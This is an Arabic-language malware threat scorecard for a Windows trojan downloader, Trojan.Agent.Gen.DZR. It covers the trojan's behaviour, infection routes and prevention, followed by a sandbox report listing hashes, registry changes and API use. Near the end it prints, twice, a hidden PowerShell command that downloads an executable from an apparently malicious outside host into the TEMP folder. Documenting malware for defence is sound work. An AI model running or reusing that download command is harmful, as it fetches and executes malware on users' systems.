Trojan.Agent.Gen.DZR
التهديدات بطاقة الأداء
EnigmaSoft بطاقة أداء التهديد
EnigmaSoft Threat Scorecards عبارة عن تقارير تقييم لتهديدات البرامج الضارة المختلفة والتي تم جمعها وتحليلها من قبل فريق البحث لدينا. تقوم بطاقات أداء التهديد EnigmaSoft بتقييم وتصنيف التهديدات باستخدام العديد من المقاييس بما في ذلك عوامل الخطر الواقعية والمحتملة ، والاتجاهات ، والتكرار ، والانتشار ، والمثابرة. يتم تحديث بطاقات EnigmaSoft Threat Scorecards بانتظام بناءً على بيانات ومقاييس البحث لدينا وهي مفيدة لمجموعة واسعة من مستخدمي الكمبيوتر ، من المستخدمين النهائيين الذين يبحثون عن حلول لإزالة البرامج الضارة من أنظمتهم إلى خبراء الأمن الذين يقومون بتحليل التهديدات.
تعرض بطاقات أداء التهديد EnigmaSoft مجموعة متنوعة من المعلومات المفيدة ، بما في ذلك:
تصنيف الشعبية: تصنيف تهديد معين في قاعدة بيانات التهديدات الخاصة بشركة EnigmaSoft.
مستوى الخطورة: مستوى الخطورة المحدد لشيء ما ، ممثلاً عدديًا ، بناءً على عملية نمذجة المخاطر والبحث لدينا ، كما هو موضح في معايير تقييم التهديدات الخاصة بنا.
أجهزة الكمبيوتر المصابة: عدد الحالات المؤكدة والمشتبه فيها لتهديد معين تم اكتشافه على أجهزة الكمبيوتر المصابة كما تم الإبلاغ عنها بواسطة SpyHunter.
راجع أيضًا معايير تقييم التهديد .
| ترتيب الشعبية: | 19,710 |
| مستوى التهديد: | 80 % (عالي) |
| الروية الأولى: | July 18, 2026 |
| اخر ظهور: | September 1, 2026 |
| نظام (أنظمة) متأثر: | Windows |
يُعدّ Trojan.Agent.Gen.DZR حصان طروادة خطيرًا يستهدف أجهزة الكمبيوتر التي تعمل بنظام ويندوز. يُصنّف هذا التهديد ضمن فئة الخطر العالي، وهو مصمم للتسلل إلى الأنظمة خلسةً، وتشغيل برمجيات خبيثة في الخلفية، مما يُسهّل اختراقها لاحقًا. وقد لوحظ نشاطه في الأشهر الأخيرة، ويتوافق نمط سلوكه مع برامج تنزيل أحصنة طروادة العامة الأخرى الشائعة الاستخدام لإيصال حمولات خبيثة إضافية إلى الأجهزة المصابة.
جدول المحتويات
ما يفعله برنامج Trojan.Agent.Gen.DZR
بمجرد تفعيل برنامج Trojan.Agent.Gen.DZR على النظام، يعمل بصمت في الخلفية دون أي نوافذ مرئية أو علامات واضحة، مما يصعب على المستخدم العادي اكتشافه. يُظهر تحليل سلوكه أنه يعتمد بشكل كبير على أوامر PowerShell مخفية تُنفذ عبر سطر أوامر Windows لتنزيل ملفات إضافية من خوادم بعيدة إلى الحاسوب المصاب. تُحفظ هذه الملفات عادةً في مجلدات مؤقتة، ويمكن استخدامها لتثبيت مكونات خبيثة أخرى.
يتواصل حصان طروادة أيضًا مع خوادم بعيدة عبر الشبكة، مستخدمًا وظائف اتصال الإنترنت القياسية لإرسال واستقبال البيانات، مما يشير إلى قدرته على إرسال معلومات إلى المهاجمين أو تنزيل تعليمات وحمولات جديدة. يجمع معلومات أساسية عن الحاسوب، مثل اسم المستخدم واسم الحاسوب وإعدادات الشبكة، ما يُساعد المهاجمين على تصميم هجمات مُخصصة أو تأكيد نجاح الإصابة. يتضمن البرنامج الخبيث أيضًا تقنيات شائعة لتجنب الكشف والتحليل، مثل التحقق من وجود أدوات تصحيح الأخطاء والتلاعب بذاكرة عملياته. هذا المزيج من التخفي والتواصل عن بُعد والقدرة على جلب وتشغيل المزيد من البرامج الخبيثة يجعله تهديدًا خطيرًا، إذ قد يُتيح للمخترقين السيطرة الكاملة على النظام المُخترق.
كيف يصل عادةً إلى أجهزة الكمبيوتر
ينتشر فيروس Trojan.Agent.Gen.DZR عادةً عبر وسائل خادعة بدلاً من استغلال ثغرة أمنية محددة. تشمل طرق الإصابة الشائعة لهذا النوع من التهديدات البرامج التي يتم تنزيلها من مواقع ويب غير موثوقة أو خبيثة، وملفات التثبيت المجمعة، ومرفقات البريد الإلكتروني المُتنكرة كملفات غير ضارة مثل الملفات التنفيذية أو الصور أو مقاطع الفيديو. في بعض الحالات، تستغل برامج التجسس من هذا النوع ثغرات النظام غير المُعالجة لتثبيت نفسها دون علم المستخدم أو موافقته. ولأن عملية التثبيت مُصممة لتكون صامتة، فغالباً لا يلاحظ الضحايا أي تغيير على أجهزتهم.
المخاطر التي يتعرض لها المستخدم
بمجرد تثبيته، يُعرّض برنامج Trojan.Agent.Gen.DZR المستخدم لمخاطر جسيمة. فقدرته على تنزيل ملفات إضافية وتشغيلها خلسةً تجعله بوابةً لبرامج ضارة أخرى، بما في ذلك برامج التجسس، وبرامج الفدية، وأدوات الوصول عن بُعد. وتثير قدراته على جمع المعلومات مخاوف بشأن الخصوصية، بينما تشير خصائص الاتصال الشبكي إلى إمكانية قيام المهاجمين بإصدار أوامر عن بُعد أو تسريب البيانات. وبشكل عام، لا يمكن اعتبار الجهاز المصاب موثوقًا به أو آمنًا.
علامات العدوى
نظرًا لأن هذا الحصان الطروادي مصمم للعمل سرًا، فإن الأعراض الظاهرة غالبًا ما تكون طفيفة. قد يلاحظ المستخدمون نشاطًا غير متوقع على الشبكة، أو عمليات غير معتادة، أو وميضًا سريعًا لنوافذ PowerShell على الشاشة، أو بطءًا في أداء النظام، أو ظهور ملفات غير مألوفة في المجلدات المؤقتة. غالبًا ما تكون تنبيهات برامج الأمان التي تشير إلى نشاط مشبوه هي المؤشر الأكثر موثوقية على الإصابة.
كيفية الحفاظ على الحماية
لتقليل خطر الإصابة، ينبغي على المستخدمين تجنب فتح مرفقات البريد الإلكتروني من مرسلين مجهولين أو غير موثوقين، وخاصة الملفات التنفيذية المتخفية في هيئة مستندات أو صور. كما أن تحديث نظام التشغيل ويندوز والبرامج المثبتة بانتظام يُسهم في سد الثغرات الأمنية التي تستغلها برامج التجسس عادةً. ويُعدّ تنزيل البرامج من مصادر رسمية وموثوقة فقط، وتجنب المحتوى المقرصن، والاحتفاظ بنسخ احتياطية منتظمة للبيانات المهمة، من العادات الوقائية الفعّالة. كذلك، فإن تشغيل برامج أمان موثوقة ومحدثة، وتوخي الحذر من التنبيهات أو التنزيلات غير المتوقعة، يُسهم بشكل كبير في حماية الأنظمة من تهديدات مثل Trojan.Agent.Gen.DZR.
تقرير التحليل
معلومات عامة
| اسم العائلة: | Trojan.Agent.Gen.DZR |
|---|---|
| حالة التوقيع: | No Signature |
عينات معروفة
عينات معروفة
يسرد هذا القسم عينات ملفات أخرى يُعتقد أنها مرتبطة بهذه العائلة.|
MD5:
446f7c40546602daea4c68d1747fda95
SHA1:
df4496e25c7e5ff36d95fc358c3ca3f386dfe81a
SHA256:
D3295CA27022958FB1448443351B895CB7BDDB674983BFC701FAC90A38CD32DA
حجم الملف:
408.06 KB,408064 بايت
|
سمات الملفات التنفيذية المحمولة لنظام التشغيل Windows
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
Show 1 more
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
سمات الملف
- GetConsoleWindow
- No Version Info
- x64
معلومات عن الكتلة
معلومات عن الكتلة
أثناء التحليل، يقوم برنامج EnigmaSoft بتقسيم عينات الملفات إلى كتل منطقية لتصنيفها ومقارنتها بعينات أخرى. يمكن استخدام هذه الكتل لإنشاء قواعد للكشف عن البرامج الضارة، ولتجميع عينات الملفات في مجموعات بناءً على شفرة المصدر المشتركة، والوظائف، وغيرها من السمات والخصائص المميزة. يعرض هذا القسم ملخصًا لبيانات هذه الكتل، بالإضافة إلى تصنيفها بواسطة EnigmaSoft. كما يتم عرض تمثيل مرئي لبيانات الكتل، إن وُجد.| إجمالي الكتل: | 1,065 |
|---|---|
| الكتل التي يحتمل أن تكون ضارة: | 186 |
| الكتل المسموح بها: | 826 |
| كتل غير معروفة: | 53 |
خريطة مرئية
? - كتلة غير معروفة
x - حظر يحتمل أن يكون خبيثًا
عائلات متشابهة
عائلات متشابهة
يسرد هذا القسم عائلات أخرى تتشابه مع هذه العائلة، استنادًا إلى تحليل شركة إنيغما سوفت. تُصنع العديد من عائلات البرامج الضارة من نفس أدوات البرمجة الخبيثة، وتستخدم نفس تقنيات التغليف والتشفير، ولكنها تتميز بوظائف إضافية فريدة. قد تشترك العائلات المتشابهة أيضًا في شفرة المصدر، والخصائص، والأيقونات، والمكونات الفرعية، والتوقيعات الرقمية المخترقة أو غير الصالحة، وخصائص الشبكة. يستفيد الباحثون من هذه التشابهات لفرز عينات الملفات بسرعة وفعالية، وتوسيع نطاق قواعد الكشف عن البرامج الضارة.- Gamehack.ACC
- Trojan.Agent.Gen.DNW
- Trojan.Agent.Gen.DZR
تم تعديل الملفات
تم تعديل الملفات
يسرد هذا القسم الملفات التي أنشأتها أو عدّلتها أو نقلتها أو حذفتها عينات من هذه العائلة. ويمكن أن يوفر نشاط نظام الملفات معلومات قيّمة حول كيفية عمل البرامج الضارة على نظام التشغيل.| ملف | صفات |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134327898198774855.9476.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_3huww40m.5di.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_bop1xh1n.hgm.psm1 | Generic Write,Read Attributes |
تعديلات السجل
تعديلات السجل
يسرد هذا القسم مفاتيح وقيم سجل النظام التي أنشأتها أو عدّلتها أو حذفتها عينات من هذه العائلة. يمكن أن يوفر نشاط سجل نظام ويندوز معلومات قيّمة حول وظائف البرامج الضارة. بالإضافة إلى ذلك، غالبًا ما تُنشئ البرامج الضارة قيمًا في سجل النظام لتمكينها من بدء التشغيل تلقائيًا والاستمرار إلى أجل غير مسمى بعد اختراق النظام في البداية.| المفتاح::القيمة | بيانات | اسم واجهة برمجة التطبيقات |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 畧Ｄ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ﶱｌ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 必ｏ㪂ǝ | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasapi32::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Show 7 more
| HKLM\software\microsoft\tracing\rasmancs::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filedirectory | %windir%\tracing | RegNtPreCreateKey |
استخدام واجهة برمجة تطبيقات ويندوز
استخدام واجهة برمجة تطبيقات ويندوز
يسرد هذا القسم استدعاءات واجهة برمجة تطبيقات ويندوز (Windows API) المستخدمة في العينات ضمن هذه المجموعة. يُعد تحليل استخدام واجهة برمجة تطبيقات ويندوز أداة قيّمة تُساعد في تحديد الأنشطة الضارة، مثل تسجيل ضغطات المفاتيح، ورفع مستوى صلاحيات الأمان، وتشفير البيانات، وتسريب البيانات، والتداخل مع برامج مكافحة الفيروسات، والتلاعب بطلبات الشبكة.| فئة | واجهة برمجة التطبيقات (API) |
|---|---|
| Syscall Use |
Show 90 more
لم يتم عرض 31 عنصرًا إضافيًا أعلاه. |
| Process Manipulation Evasion |
|
| Process Shell Execute |
|
| Anti Debug |
|
| User Data Access |
|
| Encryption Used |
|
| Other Suspicious |
|
| Network Info Queried |
|
| Network Winsock2 |
|
| Network Winsock |
|
| Network Winhttp |
|
تنفيذ أوامر شل
تنفيذ أوامر شل
يسرد هذا القسم أوامر نظام التشغيل ويندوز التي تُشغّلها العينات في هذه المجموعة. غالبًا ما تستغل البرامج الضارة أوامر نظام التشغيل ويندوز لأغراض خبيثة، ويمكن استخدامها لرفع مستوى صلاحيات الأمان، وتنزيل برامج ضارة أخرى وتشغيلها، واستغلال الثغرات الأمنية، وجمع البيانات واستخراجها، وإخفاء الأنشطة الضارة.
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|